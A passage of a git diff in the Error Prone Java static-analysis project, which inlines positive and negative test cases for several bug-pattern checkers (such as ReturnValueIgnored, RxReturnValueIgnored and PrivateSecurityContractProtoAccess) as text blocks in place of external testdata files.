{ + Builder varargsMethod(String... args) { + return this; + } + } +} + +class Two extends One { + static class Builder extends One.Builder { + @Override + public Builder varargsMethod(String... args) { + super.varargsMethod(args); + return this; + } + } +} + +class Three extends Two { + static class Builder extends Two.Builder { + @Override + public Builder varargsMethod(String... args) { + super.varargsMethod(args); + return this; + } + } +}""") + .doTest(); } @Test public void negativeCase2() { - compilationHelper.addSourceFile("testdata/OverridesNegativeCase2.java").doTest(); + compilationHelper + .addSourceLines( + "OverridesNegativeCase2.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + /** + * @author cushon@google.com (Liam Miller-Cushon) + */ + public class OverridesNegativeCase2 { + abstract class Base { + abstract void varargsMethod(Object... xs); + } + + abstract class SubOne extends Base { + @Override + abstract void varargsMethod(Object... newNames); + } + + abstract class SubTwo extends SubOne { + @Override + abstract void varargsMethod(Object... xs); + } + + abstract class SubThree extends SubTwo { + @Override + abstract void varargsMethod(Object... newNames); + } + }""") + .doTest(); } @Test public void negativeCase3() { - compilationHelper.addSourceFile("testdata/OverridesNegativeCase3.java").doTest(); + compilationHelper + .addSourceLines( + "OverridesNegativeCase3.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + /** + * @author cushon@google.com (Liam Miller-Cushon) + */ + public class OverridesNegativeCase3 { + abstract class Base { + abstract void arrayMethod(Object[] xs); + } + + abstract class SubOne extends Base { + @Override + abstract void arrayMethod(Object[] xs); + } + + abstract class SubTwo extends SubOne { + @Override + abstract void arrayMethod(Object[] xs); + } + + abstract class SubThree extends SubTwo { + @Override + abstract void arrayMethod(Object[] xs); + } + }""") + .doTest(); } } diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/PreconditionsInvalidPlaceholderTest.java b/core/src/test/java/com/google/errorprone/bugpatterns/PreconditionsInvalidPlaceholderTest.java index ee2ed802341..8b3ef393a36 100644 --- a/core/src/test/java/com/google/errorprone/bugpatterns/PreconditionsInvalidPlaceholderTest.java +++ b/core/src/test/java/com/google/errorprone/bugpatterns/PreconditionsInvalidPlaceholderTest.java @@ -32,14 +32,70 @@ public class PreconditionsInvalidPlaceholderTest { @Test public void positiveCase1() { compilationHelper - .addSourceFile("testdata/PreconditionsInvalidPlaceholderPositiveCase1.java") + .addSourceLines( + "PreconditionsInvalidPlaceholderPositiveCase1.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + import static com.google.common.base.Preconditions.checkArgument; + + import com.google.common.base.Preconditions; + import com.google.common.base.Verify; + + public class PreconditionsInvalidPlaceholderPositiveCase1 { + int foo; + + public void checkPositive(int x) { + // BUG: Diagnostic contains: %s > 0 + checkArgument(x > 0, "%d > 0", x); + } + + public void checkFoo() { + // BUG: Diagnostic contains: foo must be equal to 0 but was %s + Preconditions.checkState(foo == 0, "foo must be equal to 0 but was {0}", foo); + } + + public void verifyFoo(int x) { + // BUG: Diagnostic contains: + Verify.verify(x > 0, "%d > 0", x); + } + }""") .doTest(); } @Test public void negativeCase1() { compilationHelper - .addSourceFile("testdata/PreconditionsInvalidPlaceholderNegativeCase1.java") + .addSourceLines( + "PreconditionsInvalidPlaceholderNegativeCase1.java", + """ +package com.google.errorprone.bugpatterns.testdata; + +import static com.google.common.base.Preconditions.checkArgument; + +import com.google.common.base.Preconditions; + +public class PreconditionsInvalidPlaceholderNegativeCase1 { + Integer foo; + + public void checkPositive(int x) { + checkArgument(x > 0, "%s > 0", x); + } + + public void checkTooFewArgs(int x) { + checkArgument(x > 0, "%s %s", x); + } + + public void checkFoo() { + Preconditions.checkState(foo.intValue() == 0, "foo must be equal to 0 but was %s", foo); + } + + public static void checkNotNull(Object foo, String bar, Object baz) {} + + public void checkSelf() { + checkNotNull(foo, "Foo", this); + } +}""") .doTest(); } } diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/PrimitiveArrayPassedToVarargsMethodTest.java b/core/src/test/java/com/google/errorprone/bugpatterns/PrimitiveArrayPassedToVarargsMethodTest.java index d58c9f2fcfc..a67618f4c03 100644 --- a/core/src/test/java/com/google/errorprone/bugpatterns/PrimitiveArrayPassedToVarargsMethodTest.java +++ b/core/src/test/java/com/google/errorprone/bugpatterns/PrimitiveArrayPassedToVarargsMethodTest.java @@ -33,14 +33,70 @@ public class PrimitiveArrayPassedToVarargsMethodTest { @Test public void positiveCase() { compilationHelper - .addSourceFile("testdata/PrimitiveArrayPassedToVarargsMethodPositiveCases.java") + .addSourceLines( + "PrimitiveArrayPassedToVarargsMethodPositiveCases.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + import java.util.Arrays; + + /** + * @author eaftan@google.com (Eddie Aftandilian) + */ + public class PrimitiveArrayPassedToVarargsMethodPositiveCases { + + public void objectVarargsMethod(Object... objs) {} + + public void genericVarargsMethod(T... genericArrays) {} + + public void objectVarargsMethodWithMultipleParams(Object obj1, Object... objs) {} + + public void doIt() { + int[] intArray = {1, 2, 3}; + + // BUG: Diagnostic contains: + objectVarargsMethod(intArray); + + // BUG: Diagnostic contains: + genericVarargsMethod(intArray); + + // BUG: Diagnostic contains: + objectVarargsMethodWithMultipleParams(new Object(), intArray); + + // BUG: Diagnostic contains: + Arrays.asList(intArray); + } + }""") .doTest(); } @Test public void negativeCase() { compilationHelper - .addSourceFile("testdata/PrimitiveArrayPassedToVarargsMethodNegativeCases.java") + .addSourceLines( + "PrimitiveArrayPassedToVarargsMethodNegativeCases.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + /** + * @author eaftan@google.com (Eddie Aftandilian) + */ + public class PrimitiveArrayPassedToVarargsMethodNegativeCases { + + public void intVarargsMethod(int... ints) {} + + public void intArrayVarargsMethod(int[]... intArrays) {} + + public void objectVarargsMethodWithMultipleParams(Object obj1, Object... objs) {} + + public void doIt() { + int[] intArray = {1, 2, 3}; + + intVarargsMethod(intArray); + intArrayVarargsMethod(intArray); + objectVarargsMethodWithMultipleParams(new Object()); + } + }""") .doTest(); } } diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/PrivateSecurityContractProtoAccessTest.java b/core/src/test/java/com/google/errorprone/bugpatterns/PrivateSecurityContractProtoAccessTest.java index 95197c994d4..7a79cb14f02 100644 --- a/core/src/test/java/com/google/errorprone/bugpatterns/PrivateSecurityContractProtoAccessTest.java +++ b/core/src/test/java/com/google/errorprone/bugpatterns/PrivateSecurityContractProtoAccessTest.java @@ -29,14 +29,93 @@ public class PrivateSecurityContractProtoAccessTest { @Test public void positiveCase() { compilationHelper - .addSourceFile("testdata/PrivateSecurityContractProtoAccessPositiveCases.java") + .addSourceLines( + "PrivateSecurityContractProtoAccessPositiveCases.java", + """ +package com.google.errorprone.bugpatterns.testdata; + +import com.google.common.html.types.SafeHtmlProto; +import com.google.protobuf.ByteString; + +public class PrivateSecurityContractProtoAccessPositiveCases { + static SafeHtmlProto safeHtmlProto; + + static { + safeHtmlProto = + SafeHtmlProto.newBuilder() + // BUG: Diagnostic contains: Forbidden access to a private proto field + .clearPrivateDoNotAccessOrElseSafeHtmlWrappedValue() + // BUG: Diagnostic contains: Forbidden access to a private proto field + .setPrivateDoNotAccessOrElseSafeHtmlWrappedValue("foo") + .build(); + } + + static SafeHtmlProto safeHtmlProtoFromBytes; + + static { + safeHtmlProtoFromBytes = + SafeHtmlProto.newBuilder() + // BUG: Diagnostic contains: Forbidden access to a private proto field + .setPrivateDoNotAccessOrElseSafeHtmlWrappedValueBytes(ByteString.copyFromUtf8("foo")) + .build(); + } + + static String readSafeHtmlProto(SafeHtmlProto safeHtmlProto) { + // BUG: Diagnostic contains: Forbidden access to a private proto field + if (safeHtmlProto.hasPrivateDoNotAccessOrElseSafeHtmlWrappedValue()) { + // BUG: Diagnostic contains: Forbidden access to a private proto field + return safeHtmlProto.getPrivateDoNotAccessOrElseSafeHtmlWrappedValue(); + } + return ""; + } + + static ByteString readSafeHtmlProtoBytes(SafeHtmlProto safeHtmlProto) { + // BUG: Diagnostic contains: Forbidden access to a private proto field + return safeHtmlProto.getPrivateDoNotAccessOrElseSafeHtmlWrappedValueBytes(); + } + + static String readSafeHtmlProtoBuilder(SafeHtmlProto.Builder safeHtmlProto) { + // BUG: Diagnostic contains: Forbidden access to a private proto field + if (safeHtmlProto.hasPrivateDoNotAccessOrElseSafeHtmlWrappedValue()) { + // BUG: Diagnostic contains: Forbidden access to a private proto field + return safeHtmlProto.getPrivateDoNotAccessOrElseSafeHtmlWrappedValue(); + } + return ""; + } + + static ByteString readSafeHtmlProtoBuilderBytes(SafeHtmlProto.Builder safeHtmlProto) { + // BUG: Diagnostic contains: Forbidden access to a private proto field + return safeHtmlProto.getPrivateDoNotAccessOrElseSafeHtmlWrappedValueBytes(); + } +}""") .doTest(); } @Test public void negativeCase() { compilationHelper - .addSourceFile("testdata/PrivateSecurityContractProtoAccessNegativeCases.java") + .addSourceLines( + "PrivateSecurityContractProtoAccessNegativeCases.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + import com.google.common.html.types.SafeHtml; + import com.google.common.html.types.SafeHtmlProto; + import com.google.common.html.types.SafeHtmls; + + public class PrivateSecurityContractProtoAccessNegativeCases { + static SafeHtmlProto safeHtmlProto; + + static { + safeHtmlProto = SafeHtmls.toProto(SafeHtml.EMPTY); + } + + static SafeHtml safeHtml; + + static { + safeHtml = SafeHtmls.fromProto(safeHtmlProto); + } + }""") .doTest(); } diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/ProtocolBufferOrdinalTest.java b/core/src/test/java/com/google/errorprone/bugpatterns/ProtocolBufferOrdinalTest.java index 118a4ba1e8f..6c0c00ef394 100644 --- a/core/src/test/java/com/google/errorprone/bugpatterns/ProtocolBufferOrdinalTest.java +++ b/core/src/test/java/com/google/errorprone/bugpatterns/ProtocolBufferOrdinalTest.java @@ -34,11 +34,60 @@ public class ProtocolBufferOrdinalTest { @Test public void positiveCase() { - compilationHelper.addSourceFile("testdata/ProtocolBufferOrdinalPositiveCases.java").doTest(); + compilationHelper + .addSourceLines( + "ProtocolBufferOrdinalPositiveCases.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + import com.google.errorprone.bugpatterns.proto.ProtoTest.TestEnum; + + /** Positive test cases for {@link ProtocolBufferOrdinal} check. */ + public class ProtocolBufferOrdinalPositiveCases { + + public static void checkCallOnOrdinal() { + // BUG: Diagnostic contains: ProtocolBufferOrdinal + TestEnum.TEST_ENUM_VAL.ordinal(); + + // BUG: Diagnostic contains: ProtocolBufferOrdinal + ProtoLiteEnum.FOO.ordinal(); + } + + enum ProtoLiteEnum implements com.google.protobuf.Internal.EnumLite { + FOO(1), + BAR(2); + private final int number; + + private ProtoLiteEnum(int number) { + this.number = number; + } + + @Override + public int getNumber() { + return number; + } + } + }""") + .doTest(); } @Test public void negativeCase() { - compilationHelper.addSourceFile("testdata/ProtocolBufferOrdinalNegativeCases.java").doTest(); + compilationHelper + .addSourceLines( + "ProtocolBufferOrdinalNegativeCases.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + import com.google.errorprone.bugpatterns.proto.ProtoTest.TestEnum; + + /** Negative test cases for {@link ProtocolBufferOrdinal} check. */ + public class ProtocolBufferOrdinalNegativeCases { + + public static void checkProtoEnum() { + TestEnum.TEST_ENUM_VAL.getNumber(); + } + }""") + .doTest(); } } diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/RestrictedApiCheckerTest.java b/core/src/test/java/com/google/errorprone/bugpatterns/RestrictedApiCheckerTest.java index f905f3a1280..6a75bd876c6 100644 --- a/core/src/test/java/com/google/errorprone/bugpatterns/RestrictedApiCheckerTest.java +++ b/core/src/test/java/com/google/errorprone/bugpatterns/RestrictedApiCheckerTest.java @@ -37,8 +37,90 @@ public RestrictedApiCheckerTest() { protected RestrictedApiCheckerTest(Class checker) { helper = CompilationTestHelper.newInstance(checker, RestrictedApiCheckerTest.class) - .addSourceFile("testdata/Allowlist.java") - .addSourceFile("testdata/RestrictedApiMethods.java") + .addSourceLines( + "Allowlist.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + import java.lang.annotation.ElementType; + import java.lang.annotation.Target; + + @Target({ElementType.METHOD, ElementType.CONSTRUCTOR}) + public @interface Allowlist {}""") + .addSourceLines( + "RestrictedApiMethods.java", + """ +package com.google.errorprone.bugpatterns.testdata; + +import com.google.errorprone.annotations.RestrictedApi; +import java.lang.annotation.ElementType; +import java.lang.annotation.Target; + +/** Example for {@link com.google.errorprone.bugpatterns.RestrictedApiCheckerTest}. */ +public class RestrictedApiMethods implements IFaceWithRestriction { + + public int normalMethod() { + return 0; + } + + @RestrictedApi( + explanation = "lorem", + allowlistAnnotations = {Allowlist.class}, + allowlistWithWarningAnnotations = {AllowlistWithWarning.class}, + link = "") + public RestrictedApiMethods() {} + + @RestrictedApi( + explanation = "lorem", + allowlistAnnotations = {Allowlist.class}, + allowlistWithWarningAnnotations = {AllowlistWithWarning.class}, + link = "") + public RestrictedApiMethods(int restricted) {} + + @RestrictedApi( + explanation = "lorem", + allowlistAnnotations = {Allowlist.class}, + allowlistWithWarningAnnotations = {AllowlistWithWarning.class}, + link = "", + allowedOnPath = ".*testsuite/.*") + public int restrictedMethod() { + return 1; + } + + @RestrictedApi( + explanation = "lorem", + allowlistAnnotations = {Allowlist.class}, + allowlistWithWarningAnnotations = {AllowlistWithWarning.class}, + link = "") + public static int restrictedStaticMethod() { + return 2; + } + + @Override + public void dontCallMe() {} + + public static class Subclass extends RestrictedApiMethods { + @Allowlist + public Subclass(int restricted) { + super(restricted); + } + + @Override + public int restrictedMethod() { + return 42; + } + } + + public static void accept(Runnable r) {} +} + +interface IFaceWithRestriction { + @RestrictedApi(explanation = "ipsum", link = "nothing") + void dontCallMe(); +} + +@Target({ElementType.METHOD, ElementType.CONSTRUCTOR}) +@interface AllowlistWithWarning {}""") .matchAllDiagnostics(); refactoringTest = BugCheckerRefactoringTestHelper.newInstance(checker, RestrictedApiCheckerTest.class); diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/RethrowReflectiveOperationExceptionAsLinkageErrorTest.java b/core/src/test/java/com/google/errorprone/bugpatterns/RethrowReflectiveOperationExceptionAsLinkageErrorTest.java index 79f3efde672..6601707e09b 100644 --- a/core/src/test/java/com/google/errorprone/bugpatterns/RethrowReflectiveOperationExceptionAsLinkageErrorTest.java +++ b/core/src/test/java/com/google/errorprone/bugpatterns/RethrowReflectiveOperationExceptionAsLinkageErrorTest.java @@ -31,16 +31,119 @@ public class RethrowReflectiveOperationExceptionAsLinkageErrorTest { @Test public void positive() { testHelper - .addSourceFile( - "testdata/RethrowReflectiveOperationExceptionAsLinkageErrorPositiveCases.java") + .addSourceLines( + "RethrowReflectiveOperationExceptionAsLinkageErrorPositiveCases.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + public class RethrowReflectiveOperationExceptionAsLinkageErrorPositiveCases { + void assertionErrorExceptionConstructor() { + try { + throw new ReflectiveOperationException(); + } catch (ReflectiveOperationException e) { + // BUG: Diagnostic contains: throw new LinkageError(e.getMessage(), e); + throw new AssertionError(e); + } + } + + void assertionErrorStringConstructor() { + try { + throw new ReflectiveOperationException(); + } catch (ReflectiveOperationException e) { + // BUG: Diagnostic contains: throw new LinkageError("Test", e); + throw new AssertionError("Test", e); + } + } + + void assertionErrorStringFormatConstructor() { + try { + throw new ReflectiveOperationException(); + } catch (ReflectiveOperationException e) { + // BUG: Diagnostic contains: throw new LinkageError(String.format("Test"), e); + throw new AssertionError(String.format("Test"), e); + } + } + + void multiLineCatchBlock() { + try { + throw new ReflectiveOperationException(); + } catch (ReflectiveOperationException e1) { + int a = 100; + if (a < 100) { + try { + throw new ReflectiveOperationException(); + } catch (ReflectiveOperationException e2) { + // BUG: Diagnostic contains: throw new LinkageError(e2.getMessage(), e2); + throw new AssertionError(e2); + } + } + // BUG: Diagnostic contains: throw new LinkageError(e1.getMessage(), e1); + throw new AssertionError(e1); + } + } + }""") .doTest(); } @Test public void negative() { testHelper - .addSourceFile( - "testdata/RethrowReflectiveOperationExceptionAsLinkageErrorNegativeCases.java") + .addSourceLines( + "RethrowReflectiveOperationExceptionAsLinkageErrorNegativeCases.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + import java.io.IOException; + + public class RethrowReflectiveOperationExceptionAsLinkageErrorNegativeCases { + void assertionErrorNonStringConstructor() { + try { + throw new ReflectiveOperationException(); + } catch (ReflectiveOperationException e) { + throw new AssertionError(1); + } + } + + void assertionErrorNoArgConstructor() { + try { + throw new ReflectiveOperationException(); + } catch (ReflectiveOperationException e) { + throw new AssertionError(); + } + } + + void noThrowAssertionError() { + try { + throw new ReflectiveOperationException(); + } catch (ReflectiveOperationException e) { + throw new IllegalStateException(e); + } + } + + void noCatchReflectiveOperationException() { + try { + throw new ReflectiveOperationException(); + } catch (Exception e) { + throw new AssertionError(e); + } + } + + void multiCatchExceptions() { + try { + int a = 100; + if (a < 100) { + throw new IOException("Test"); + } + throw new ReflectiveOperationException(); + } catch (IOException | ReflectiveOperationException e) { + throw new AssertionError(e); + } + } + + void throwNewReflectiveOperationException() { + throw new AssertionError(new ReflectiveOperationException("Test")); + } + }""") .doTest(); } } diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/ReturnValueIgnoredTest.java b/core/src/test/java/com/google/errorprone/bugpatterns/ReturnValueIgnoredTest.java index ddec11740d6..2d573fd9f8f 100644 --- a/core/src/test/java/com/google/errorprone/bugpatterns/ReturnValueIgnoredTest.java +++ b/core/src/test/java/com/google/errorprone/bugpatterns/ReturnValueIgnoredTest.java @@ -34,12 +34,224 @@ public class ReturnValueIgnoredTest { @Test public void positiveCases() { - compilationHelper.addSourceFile("testdata/ReturnValueIgnoredPositiveCases.java").doTest(); + compilationHelper + .addSourceLines( + "ReturnValueIgnoredPositiveCases.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + import java.io.IOException; + import java.math.BigDecimal; + import java.math.BigInteger; + import java.nio.file.Path; + import java.nio.file.Paths; + import java.util.Arrays; + import java.util.Locale; + + /** + * @author alexeagle@google.com (Alex Eagle) + */ + public class ReturnValueIgnoredPositiveCases { + String a = "thing"; + + // BUG: Diagnostic contains: Return value of 'valueOf' must be used + private Runnable r = () -> String.valueOf(""); + + { // String methods + // BUG: Diagnostic contains: remove this line + String.format("%d", 10); + // BUG: Diagnostic contains: remove this line + String.format("%d", 10).trim(); + // BUG: Diagnostic contains: remove this line + java.lang.String.format("%d", 10).trim(); + // BUG: Diagnostic contains: a = a.intern() + a.intern(); + // BUG: Diagnostic contains: a = a.trim() + a.trim(); + // BUG: Diagnostic contains: a = a.trim().concat("b") + a.trim().concat("b"); + // BUG: Diagnostic contains: a = a.concat("append this") + a.concat("append this"); + // BUG: Diagnostic contains: a = a.replace('t', 'b') + a.replace('t', 'b'); + // BUG: Diagnostic contains: a = a.replace("thi", "fli") + a.replace("thi", "fli"); + // BUG: Diagnostic contains: a = a.replaceAll("i", "b") + a.replaceAll("i", "b"); + // BUG: Diagnostic contains: a = a.replaceFirst("a", "b") + a.replaceFirst("a", "b"); + // BUG: Diagnostic contains: a = a.toLowerCase() + a.toLowerCase(); + // BUG: Diagnostic contains: a = a.toLowerCase(Locale.ENGLISH) + a.toLowerCase(Locale.ENGLISH); + // BUG: Diagnostic contains: a = a.toUpperCase() + a.toUpperCase(); + // BUG: Diagnostic contains: a = a.toUpperCase(Locale.ENGLISH) + a.toUpperCase(Locale.ENGLISH); + // BUG: Diagnostic contains: a = a.substring(0) + a.substring(0); + // BUG: Diagnostic contains: a = a.substring(0, 1) + a.substring(0, 1); + } + + StringBuffer sb = new StringBuffer("hello"); + + { + // BUG: Diagnostic contains: + sb.toString().trim(); + } + + BigInteger b = new BigInteger("123456789"); + + { // BigInteger methods + // BUG: Diagnostic contains: b = b.add(new BigInteger("3")) + b.add(new BigInteger("3")); + // BUG: Diagnostic contains: b = b.abs() + b.abs(); + // BUG: Diagnostic contains: b = b.shiftLeft(3) + b.shiftLeft(3); + // BUG: Diagnostic contains: b = b.subtract(BigInteger.TEN) + b.subtract(BigInteger.TEN); + } + + BigDecimal c = new BigDecimal("1234.5678"); + + { // BigDecimal methods + // BUG: Diagnostic contains: c = c.add(new BigDecimal("1.3")) + c.add(new BigDecimal("1.3")); + // BUG: Diagnostic contains: c = c.abs() + c.abs(); + // BUG: Diagnostic contains: c = c.divide(new BigDecimal("4.5")) + c.divide(new BigDecimal("4.5")); + // BUG: Diagnostic contains: + new BigDecimal("10").add(c); + } + + Path p = Paths.get("foo/bar/baz"); + + { // Path methods + // BUG: Diagnostic contains: p = p.getFileName(); + p.getFileName(); + // BUG: Diagnostic contains: p = p.getName(0); + p.getName(0); + // BUG: Diagnostic contains: p = p.getParent(); + p.getParent(); + // BUG: Diagnostic contains: p = p.getRoot(); + p.getRoot(); + // BUG: Diagnostic contains: p = p.normalize(); + p.normalize(); + // BUG: Diagnostic contains: p = p.relativize(p); + p.relativize(p); + // BUG: Diagnostic contains: p = p.resolve(p); + p.resolve(p); + // BUG: Diagnostic contains: p = p.resolve("string"); + p.resolve("string"); + // BUG: Diagnostic contains: p = p.resolveSibling(p); + p.resolveSibling(p); + // BUG: Diagnostic contains: p = p.resolveSibling("string"); + p.resolveSibling("string"); + // BUG: Diagnostic contains: p = p.subpath(0, 1); + p.subpath(0, 1); + // BUG: Diagnostic contains: p = p.toAbsolutePath(); + p.toAbsolutePath(); + try { + // BUG: Diagnostic contains: p = p.toRealPath(); + p.toRealPath(); + } catch (IOException e) { + } + } + + int[] numbers = {5, 4, 3, 2, 1}; + Object[] objects = {new Object(), new Object()}; + + { // Arrays methods + // BUG: Diagnostic contains: Return value of 'asList' must be used + Arrays.asList(5, 4, 3, 2, 1); + // BUG: Diagnostic contains: Return value of 'binarySearch' must be used + Arrays.binarySearch(numbers, 3); + // BUG: Diagnostic contains: Return value of 'copyOf' must be used + Arrays.copyOf(numbers, 3); + // BUG: Diagnostic contains: Return value of 'copyOfRange' must be used + Arrays.copyOfRange(numbers, 1, 3); + // BUG: Diagnostic contains: Return value of 'deepEquals' must be used + Arrays.deepEquals(objects, objects); + // BUG: Diagnostic contains: Return value of 'deepHashCode' must be used + Arrays.deepHashCode(objects); + // BUG: Diagnostic contains: Return value of 'deepToString' must be used + Arrays.deepToString(objects); + // BUG: Diagnostic contains: Return value of 'equals' must be used + Arrays.equals(objects, objects); + // BUG: Diagnostic contains: Return value of 'hashCode' must be used + Arrays.hashCode(objects); + // BUG: Diagnostic contains: Return value of 'toString' must be used + Arrays.toString(objects); + } + }""") + .doTest(); } @Test public void negativeCase() { - compilationHelper.addSourceFile("testdata/ReturnValueIgnoredNegativeCases.java").doTest(); + compilationHelper + .addSourceLines( + "ReturnValueIgnoredNegativeCases.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + import java.math.BigInteger; + import java.util.Arrays; + import java.util.HashMap; + import java.util.Map; + import java.util.function.Function; + + /** + * @author alexeagle@google.com (Alex Eagle) + */ + public class ReturnValueIgnoredNegativeCases { + + private String a = "thing"; + + { + String b = a.trim(); + System.out.println(a.trim()); + new String(new BigInteger(new byte[] {0x01}).add(BigInteger.ONE).toString()); + } + + String run() { + return a.trim(); + } + + public void methodDoesntMatch() { + Map map = new HashMap(); + map.put("test", 1); + } + + public void methodDoesntMatch2() { + final String b = a.toString().trim(); + } + + public void acceptFunctionOfVoid(Function arg) { + arg.apply(5); + } + + public void passReturnValueCheckedMethodReferenceToFunctionVoid() { + Function fn = (i -> null); + acceptFunctionOfVoid(fn::apply); + } + + public void arraysReturnValues() { + int[] numbers = {5, 4, 3, 2, 1}; + int result = Arrays.binarySearch(numbers, 3); + int hashCode = Arrays.hashCode(numbers); + } + + public void arraysNoReturnValues() { + int[] numbers = {5, 4, 3, 2, 1}; + Arrays.fill(numbers, 0); + Arrays.sort(numbers); + } + }""") + .doTest(); } @Test diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/RxReturnValueIgnoredTest.java b/core/src/test/java/com/google/errorprone/bugpatterns/RxReturnValueIgnoredTest.java index b2e3a426ad8..455f1c1bc43 100644 --- a/core/src/test/java/com/google/errorprone/bugpatterns/RxReturnValueIgnoredTest.java +++ b/core/src/test/java/com/google/errorprone/bugpatterns/RxReturnValueIgnoredTest.java @@ -98,12 +98,252 @@ public class Flowable {} @Test public void positiveCases() { - compilationHelper.addSourceFile("testdata/RxReturnValueIgnoredPositiveCases.java").doTest(); + compilationHelper + .addSourceLines( + "RxReturnValueIgnoredPositiveCases.java", + """ +package com.google.errorprone.bugpatterns.testdata; + +import com.google.errorprone.annotations.CanIgnoreReturnValue; +import io.reactivex.Flowable; +import io.reactivex.Maybe; +import io.reactivex.Observable; +import io.reactivex.Single; +import java.util.Arrays; +import java.util.HashMap; +import java.util.Map; + +/** + * @author friedj@google.com (Jake Fried) + */ +public class RxReturnValueIgnoredPositiveCases { + private static Observable getObservable() { + return null; + } + + private static Single getSingle() { + return null; + } + + private static Flowable getFlowable() { + return null; + } + + private static Maybe getMaybe() { + return null; + } + + { + new Observable(); + new Single(); + new Flowable(); + new Maybe(); + + // BUG: Diagnostic contains: Rx objects must be checked. + getObservable(); + // BUG: Diagnostic contains: Rx objects must be checked. + getSingle(); + // BUG: Diagnostic contains: Rx objects must be checked. + getFlowable(); + // BUG: Diagnostic contains: Rx objects must be checked. + getMaybe(); + + // BUG: Diagnostic contains: Rx objects must be checked. + Arrays.asList(1, 2, 3).forEach(n -> getObservable()); + // BUG: Diagnostic contains: Rx objects must be checked. + Arrays.asList(1, 2, 3).forEach(n -> getSingle()); + // BUG: Diagnostic contains: Rx objects must be checked. + Arrays.asList(1, 2, 3).forEach(n -> getFlowable()); + // BUG: Diagnostic contains: Rx objects must be checked. + Arrays.asList(1, 2, 3).forEach(n -> getMaybe()); + } + + private abstract static class IgnoringParent { + @CanIgnoreReturnValue + abstract T ignoringFunction(); + } + + private class NonIgnoringObservableChild extends IgnoringParent> { + @Override + Observable ignoringFunction() { + return null; + } + } + + private class NonIgnoringSingleChild extends IgnoringParent> { + @Override + Single ignoringFunction() { + return null; + } + } + + private class NonIgnoringFlowableChild extends IgnoringParent> { + @Override + Flowable ignoringFunction() { + return null; + } + } + + private class NonIgnoringMaybeChild extends IgnoringParent> { + @Override + Maybe ignoringFunction() { + return null; + } + } + + public void inheritanceTest() { + NonIgnoringObservableChild observableChild = new NonIgnoringObservableChild(); + NonIgnoringSingleChild singleChild = new NonIgnoringSingleChild(); + NonIgnoringFlowableChild flowableChild = new NonIgnoringFlowableChild(); + NonIgnoringMaybeChild maybeChild = new NonIgnoringMaybeChild(); + + // BUG: Diagnostic contains: Rx objects must be checked. + observableChild.ignoringFunction(); + // BUG: Diagnostic contains: Rx objects must be checked. + singleChild.ignoringFunction(); + // BUG: Diagnostic contains: Rx objects must be checked. + flowableChild.ignoringFunction(); + // BUG: Diagnostic contains: Rx objects must be checked. + maybeChild.ignoringFunction(); + } + + public void conditional() { + if (false) { + // BUG: Diagnostic contains: Rx objects must be checked. + getObservable(); + // BUG: Diagnostic contains: Rx objects must be checked. + getSingle(); + // BUG: Diagnostic contains: Rx objects must be checked. + getFlowable(); + // BUG: Diagnostic contains: Rx objects must be checked. + getMaybe(); + } + + return; + } + + static void getFromMap() { + Map map1 = new HashMap<>(); + Map map2 = new HashMap<>(); + Map map3 = new HashMap<>(); + Map map4 = new HashMap<>(); + + // BUG: Diagnostic contains: Rx objects must be checked. + map1.get(null); + // BUG: Diagnostic contains: Rx objects must be checked. + map2.get(null); + // BUG: Diagnostic contains: Rx objects must be checked. + map3.get(null); + // BUG: Diagnostic contains: Rx objects must be checked. + map4.get(null); + } +}""") + .doTest(); } @Test public void negativeCases() { - compilationHelper.addSourceFile("testdata/RxReturnValueIgnoredNegativeCases.java").doTest(); + compilationHelper + .addSourceLines( + "RxReturnValueIgnoredNegativeCases.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + import com.google.errorprone.annotations.CanIgnoreReturnValue; + import io.reactivex.Flowable; + import io.reactivex.Maybe; + import io.reactivex.Observable; + import io.reactivex.Single; + import java.util.HashMap; + import java.util.Map; + + /** + * @author friedj@google.com (Jake Fried) + */ + public class RxReturnValueIgnoredNegativeCases { + interface CanIgnoreMethod { + @CanIgnoreReturnValue + Observable getObservable(); + + @CanIgnoreReturnValue + Single getSingle(); + + @CanIgnoreReturnValue + Flowable getFlowable(); + + @CanIgnoreReturnValue + Maybe getMaybe(); + } + + public static class CanIgnoreImpl implements CanIgnoreMethod { + @Override + public Observable getObservable() { + return null; + } + + @Override + public Single getSingle() { + return null; + } + + @Override + public Flowable getFlowable() { + return null; + } + + @Override + public Maybe getMaybe() { + return null; + } + } + + static void callIgnoredInterfaceMethod() { + new CanIgnoreImpl().getObservable(); + new CanIgnoreImpl().getSingle(); + new CanIgnoreImpl().getFlowable(); + new CanIgnoreImpl().getMaybe(); + } + + static void putInMap() { + Map> map1 = new HashMap<>(); + Map> map2 = new HashMap<>(); + Map> map3 = new HashMap<>(); + HashMap> map4 = new HashMap<>(); + + map1.put(new Object(), null); + map2.put(new Object(), null); + map3.put(new Object(), null); + map4.put(new Object(), null); + } + + @CanIgnoreReturnValue + Observable getObservable() { + return null; + } + + @CanIgnoreReturnValue + Single getSingle() { + return null; + } + + @CanIgnoreReturnValue + Flowable getFlowable() { + return null; + } + + @CanIgnoreReturnValue + Maybe getMaybe() { + return null; + } + + void checkIgnore() { + getObservable(); + getSingle(); + getFlowable(); + getMaybe(); + } + }""") + .doTest(); } @Test diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/SelfAssertionTest.java b/core/src/test/java/com/google/errorprone/bugpatterns/SelfAssertionTest.java index 5ee241631d5..e442fa300d5 100644 --- a/core/src/test/java/com/google/errorprone/bugpatterns/SelfAssertionTest.java +++ 